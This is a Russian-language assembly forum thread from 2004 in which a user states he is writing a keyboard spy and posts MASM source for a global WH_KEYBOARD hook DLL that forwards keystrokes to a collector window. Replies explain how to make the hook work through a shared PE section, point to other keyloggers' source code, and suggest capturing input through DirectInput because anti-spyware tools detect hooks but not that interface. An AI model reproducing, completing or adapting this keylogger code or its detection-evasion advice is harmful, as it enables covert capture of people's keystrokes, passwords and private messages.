Глуки Хуки

Тема в разделе "WASM.WIN32", создана пользователем ZlovreD, 17 авг 2004.

  1. ZlovreD

    ZlovreD New Member

    Публикаций:
    0
    Регистрация:
    5 авг 2004
    Сообщения:
    28
    Пишу клавиатурный шпион...

    Почему-то после GetMessage,после зарузки значений структуры в EAX одни нули???

    Может хук не так устанавливаю??



    SNIFFER.ASM:


    Код (Text):
    1. LOCAL msg   : MSG
    2. LOCAL mHndl : DWORD
    3.     invoke GetModuleHandle,NULL
    4.     mov [mHndl],eax
    5.     invoke InstallHook,eax
    6.     GetMessage_:
    7.     invoke GetMessage,ADDR msg,NULL,0,0
    8.    
    9.         mov eax,msg.hwnd    ;0
    10.     mov eax,msg.message     ;0
    11.     mov eax,msg.wParam  ;0
    12.     mov eax,msg.lParam  ;0
    13.    
    14.     invoke TranslateMessage, ADDR msg
    15.     jmp GetMessage_
    16.     ret
    17.  
    18. HOOK.DLL:
    19.  
    20. DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD
    21.     push [hInstDLL]
    22.     pop  [hInstPR]
    23.         mov  eax,TRUE
    24.         ret
    25. DllEntry Endp
    26.  
    27. InstallHook proc hInst:DWORD
    28.     push [hInst]
    29.     pop  [hWnd]
    30.     push NULL
    31.     push [hInstPR]
    32.     lea  eax,Keyboard_Hook
    33.     push eax
    34.     push WH_KEYBOARD
    35.     call SetWindowsHookEx
    36.     mov  [hHook],eax
    37.     ret
    38. InstallHook endp
    39.  
    40. Keyboard_Hook proc nCode:DWORD,wParam:DWORD,lParam:DWORD
    41.     invoke PostMessage,[hWnd],WM_KEYBOARDHOOK,wParam,lParam
    42.     invoke CallNextHookEx,[hHook],nCode,wParam,lParam
    43.     xor eax,eax
    44.     ret
    45. Keyboard_Hook endp
     
  2. Four-F

    Four-F New Member

    Публикаций:
    0
    Регистрация:
    31 авг 2002
    Сообщения:
    1.237
    У тя hWnd и hHook в отдельной разделяемой PE-секции находятся? Если нет, то ищи по форуму. Я уже раз 5 или 6 отвечал на подобный вопрос.
     
  3. Stub

    Stub New Member

    Публикаций:
    0
    Регистрация:
    11 май 2004
    Сообщения:
    311
    Адрес:
    Siberia
    Посмотри сорсы от других логгеров, иногда помогает :)

    [​IMG] 1984966448__klog.zip
     
  4. SolidCode

    SolidCode New Member

    Публикаций:
    0
    Регистрация:
    2 дек 2002
    Сообщения:
    162
    Адрес:
    Kazakhstan
    У меня проблема с /SECTION:.bss,S

    Линкую: LINK.EXE /SECTION:.bss,S /SUBSYSTEM:WINDOWS /RELEASE /DLL /DEF:$6 /LIBPATH:"$L" /OUT:"$7"

    Компилятор пишет LINK : fatal error LNK1117: syntax error in option 'SECTION:.bss'
     
  5. Ave

    Ave New Member

    Публикаций:
    0
    Регистрация:
    23 авг 2004
    Сообщения:
    4
    Кто нить пробовал сделать клавиатурный шпиён с использованием DirectInput?

    Ведь ДиректИкса почти везде сейчас стоит.

    Наскоко я знаю, усе шпионоловилки ловят хуки. IDirectInputDevice не ловит пока никто.